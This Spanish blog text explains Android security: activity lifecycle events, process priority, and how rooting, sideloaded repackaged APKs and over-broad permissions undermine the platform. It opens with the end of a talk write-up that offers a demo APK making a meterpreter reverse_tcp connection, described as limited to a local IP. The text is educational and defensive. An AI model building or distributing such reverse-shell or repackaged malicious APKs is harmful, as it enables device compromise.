Os podéis descargar sin problemas la APK desde el código QR porque la aplicación está apuntando a una dirección IP local y porque le he quitado todo el código referente a las funciones de meterpreter, es decir, sólo realiza la conexión reverse_tcp, pero no responde bajo ningún comando de los de meterpreter.

Todo este contenido viene a complementar la charla de Seguridad en Android de la Hack & Beers Vol.2. Si no pudisteis asistir aquí os dejo el enlace de mi presentación (Seguridad en Android.pdf) y el de las charlas (http://new.livestream.com/cosfera/hbodb).
Quiero dar de nuevo las gracias a Miguel Ángel Arroyo de Hacking Ético por contar conmigo para la Hack & Beers. Espero que os haya gustado !! 

Un handshake para todos


"Pues conseguir cien victorias en cien batallas no constituye la mayor habilidad. Dominar al enemigo sin luchar, esta sí es la más alta habilidad"
Gichin Funakoshi

viernes, 6 de junio de 2014

Metodología de Seguridad en Android

En esta nueva entrada vamos a ver cómo trabaja los sistemas Android en cuanto a la metodología que sigue de seguridad a la hora de ejecutar sus aplicaciones y los permisos que requieren. En primer lugar vamos a ver algunos conceptos previos sobre Android que debemos conocer:
  • Apk (aplicación en Android): conjunto de actividades y servicios relacionados entre si para resolver un objetivo común. Cada apk se ejecuta en un proceso, es decir, tenemos un proceso por aplk.
  • Actividad: se llama así a cada una de las pantallas de una aplicación en Android. Cada aplicación tiene una actividad principal y desde aquí se va llamando al resto de actividades de la aplicación.
  • Estados de una actividad: son los diferentes momentos en los cuales se encuentra una actividad.
  • Máquina Virtual Dalvik (DVM): es una máquina virtual que utilizan los dispositivos que usan Android, la idea es ejecutar cada proceso en una DVM diferente (ya que consume muy pocos recursos), consiguiendo con esto un aislamiento en cuanto a código fuente, gestión de memoria e hilos de ejecución, lo que hace que ningún proceso pueda acceder a código o variables de otro, salvo permiso expreso.
Una vez aclarados estos conceptos, quién no se ha preguntado alguna vez ¿por qué aplicaciones que hemos cerramos desde cualquier apk de administración de tareas como Advanced Task Killer, siguen abiertas en memoria tras cerrarlas?

La respuesta es muy sencilla, en Android un proceso sigue residiendo en memoria aunque el usuario cierre todas sus actividades y/o servicios. Una aplicación sólo se elimina de memoria si el sistema necesita memoria para otra cosa, por tanto, el sistema necesita ordenar jerárquicamente los procesos por orden de importancia, de manera que cuando necesite eliminar alguno, elimine el menos importante.

La importancia se establece en el sistema según las actividades activas y el estado de las mismas, sin embargo en cuanto a los servicios sólo pueden estar corriendo o detenidos. Vamos por tanto a ver el ciclo de vida de de un proceso en Android, donde podremos ver los estados y los eventos que se generan.

Ciclo de Vida de un proceso en Android



Eventos:
  • onCreate(): se inicializa la apk, se crea la interfaz y puede recibir datos.
  • onStart(): se presenta la apk al usuario, ya es utilizable.
  • onResume(): cuando el usuario comienza a interactuar con la apk.
  • onPause(): la actividad va a pasar a segundo plano.
  • onStop(): la actividad va a dejar de ser visible en la interfaz.
  • onRestart(): se llama de nuevo a la actividad, que está en memoria, tras haber estado parada. No se pierde la información con la que estaba trabajando ya que normalmente se suele almacenar en un fichero de preferencias, para cada apk se guarda dentro de la memoria interna en: data/data/nombre.del.paquete/files/shared_prefs/nombre.dpaquete_preferences,xml
  • onDestroy(): actividad destruida totalmente.
Estados:
  • Activa (Runing): en la pila de ejecución, visible y activa.
  • Visible (Paused): cuando se llama a otra actividad desde la actividad actual y se pierde el foco (no está visible o sólo parcialmente).
  • Parada (Stopped): la actividad ya no está visible, pero sigue estando en memoria.
  • Destruida (Destroyed): cuando el sistema necesita espacio saca de la pila de ejecución las actividades.
He desarrollado una pequeña aplicación en Android para que entendáis bien los estados y eventos por los que pasa una aplicación y como esto hace que se sitúe más arriba o más abajo del orden jerárquico a la hora de matar un proceso por falta de memoria. No requiere ningún tipo de permiso, por tanto podéis estar tranquilos de que no hace nada malo.


Descarga la aplicación EventosWWH.apk: http://goo.gl/Q0YaFb
MD5 checksums: f5ea4ebedaacaaf1563dc99413250012

Aquí os dejo un videotutorial para explicar la aplicación. Si alguno desea el código de aplicación, se lo facilito sin problema, tan solo contactar a través del blog o de mi cuenta personal de twitter @eduSatoe


Orden Jerárquico de Procesos a la hora de liberar memoria

En Android los usuarios no tenemos permisos para finalizar los procesos, es el sistema operativo quien decide cuando finalizar un proceso para liberar memoria, lo cual se puede hacer:
  1. Porque se necesite memoria para otro proceso.
  2. Porque se produzca un cambio de configuración como un giro de pantalla, cambio de idioma, conexión de un dispositivo de entrada, etc.
El orden jerárquico u orden de prioridad de los procesos es el siguiente:
  1. Procesos en primer plano (Foreground process): sólo puede haber uno, es la actividad que ha llamado a onResume().
  2. Proceso visible (Visible process): actividad visible aunque no en primer plano (onPaused())
  3. Proceso en servicio (Service process): proceso en servicio iniciado con startService().
  4. Proceso de fondo (Background process): actividad no visible, está en segundo plano, llamo a onStop(). El sistema debe grabar el estado.
  5. Proceso vacío (Empty process): sin componente activo, pero no se quita de memoria.
Los principios de Seguridad en Android

Android basa su seguridad en tres principios que comentamos a continuación:
  • Se crea un usuario para cada apk que se instala en el sistema, de tal forma que se pueda restringir el acceso sobre el hardware y otros recursos del sistema, dicho usuario sólo puede tener acceso a sus recursos, es decir, sólo dicho usuario puede acceder a su carpeta de la apk.
  • Toda apk debe estar firmada digitalmente por su autor, de tal forma que si alguien quiere cambiar su código deberá firmarla de nuevo.
  • Se establece un modelo de permisos, de tal forma que para cada acción comprometida que realice una apk debe estar registrada. Con esto conseguimos que a la hora de instalar una apk, el usuario conocerá los permisos que dicha apk solicita, como acceso a Internet, posición GPS, datos del teléfono, registro de llamadas, etc.
¿Cómo se rompen estos principios de seguridad?
  • Respecto a lo de crear un usuario por apk y restringir el acceso a hardware y otros recursos del sistema es una buena idea, pero este principio de seguridad se rompe en el momento en el que rooteemos el teléfono. El hecho de rootear el teléfono es un arma de doble filo, nos permite instalar aplicaciones que tendrán permiso de acceso a cualquier recurso del sistema, con la ventaja que esto supone, herramientas de seguridad como dsPloit o Intercepter-ng, pero el problema vendría cuando le diéramos vía libre a una aplicación para acceder por ejemplo a carpetas como /data/data/com.whatsapp/databases/ donde whatsapp almacena todas las conversaciones y contactos. 

  • En cuanto a la firma digital de las aplicaciones, es muy común que además de usar Google Play, descarguemos aplicaciones directamente desde Internet e instalemos en nuestro teléfono, todo por ahorrarnos algunos euros y no pagar el precio que vale en Google Play. Es entonces cuando se nos requiere en nuestro sistema que activemos la casilla "Fuentes Desconocidas", y ahí es donde estamos rompiendo otro principio de seguridad de Android, ya que cualquier usuario con conocimientos puede comprar una apk de Google Play, hacerle ingeniería inversa al paquete apk e inyectar un código malicioso, para después publicar la aplicación en Internet de manera gratuita. Dicho paquete no puede estar firmado por la persona que desarrollo la apk que aparece en Google Play, pero por tal de ahorrarnos unos euros aceptamos lo que sea. 

  • Y por último tenemos el modelo de permisos que utiliza Android, mediante el cual se nos muestra los permisos que requiere una aplicación y que nosotros debemos aceptar si queremos que instalar dicha aplicación, en cuanto a estos, los desarrolladores se aprovechan mucho del desconocimiento de la gente, ya que por tal de jugar al juego de moda de turno (Candy Crash) o instalar la última versión de la apk de la red social más famosa (Facebook) somos capaces de dar permiso para acceder a nuestros datos personales, contactos, correos,etc, que acabaran posteriormente en manos de terceros que les paguen buen dinero por ello. Este modelo de permisos está muy bien, pero teniendo en cuenta que el usuario final es el eslabón más débil de la cadena, hace que dicho principio de la seguridad no se le de la importancia que tiene por parte de los usuarios y sean los propios usuarios quien lo rompan.
¿Cómo protegernos?

Para protegernos de estas amenazas existen algunas herramientas que debemos tener instaladas en nuestro móvil Android, la principal es tener un antivirus como puede ser AVG, el cual además de detectar posibles amenazas tiene una base de datos de aplicaciones de Google Play que están tipificadas como peligrosas y que a la hora de instalarlas te avisa de que pueden ser dañinas para tu terminal.

La otra aplicación de reciente aparición es Conan Mobile de Inteco, una aplicación que examina todos los principios de la seguridad de Android: si tenemos aplicaciones con acceso root, aplicaciones que no están firmadas digitalmente y los permisos que requieren todas las aplicaciones del nuestro terminal, os aseguro que os podéis sorprender de lo que hemos llegado a aceptar por tal de instalar una aplicación en el teléfono.

Cual fue mi sorpresa, cuando tras instalar Conan Mobile y revisar todos los permisos de seguridad de las aplicaciones, encuentro una aplicación que todos tenemos en nuestro móvil, como es la de la linterna, la cual requiere permisos tales como saber tu posición GPS, tu número de IMEI o incluso saber quien me llama por teléfono. Acto seguido me voy a la información de la aplicación y me encuentro los siguientes permisos:

Es decir, que a cambio de poder usar la maldita linterna, podían meterse hasta en la "cocina" de mi teléfono, la aplicación en concreto es "Linterna Brillante Gratis" de la compañía Goldenshores Technologies LLC. Indagando por Internet encontré el siguiente artículo sobre como dicha aplicación roba información que después facilita a terceros, incumpliendo lo que dice su contrato de privacidad con el usuario, aquí os dejo el enlace goo.gl/rekD3M

A continuación os dejo algunos enlaces de interés relacionados con el tema que seguro son de vuestro agrado.

Desempaquetar aplicaciones en Android. Ingeniería Inversa sobre una APK. Analizando aplicaciones con Andrubis. Auditoría de aplicaciones en Android. Blog: White Walking of Hacking. Eduardo Sánchez @eduSatoe http://goo.gl/fm3MED

Unos estafadores utilizan la imagen de La Sexta, RTVE, Menéame o Antena3 para robar tus datos de tu Android. Blog: Un informático en el lado del mal. Chema Alonso@chemaalonso http://goo.gl/OY3GVu

Uso de Conan Mobile, la última aplicación de INTECO para comprobar la seguridad en tu móvil. 
Blog: Hacking Ético. Miguel Ángel Arroyo @Miguel_Arroyo76 http://goo.gl/Z3nHGN

Lista de permisos que podemos encontrar en el fichero AndroidManifest.xml de cualquier aplicación Android junto con su descripción. http://goo.gl/Dl2cjL

Espero que hayáis aprendido algo nuevo sobre la metodología que usa Android en cuanto a su seguridad.

Un saludo !!

@eduSatoe


"La seguridad de un sistema es igual a la seguridad de su punto más débil"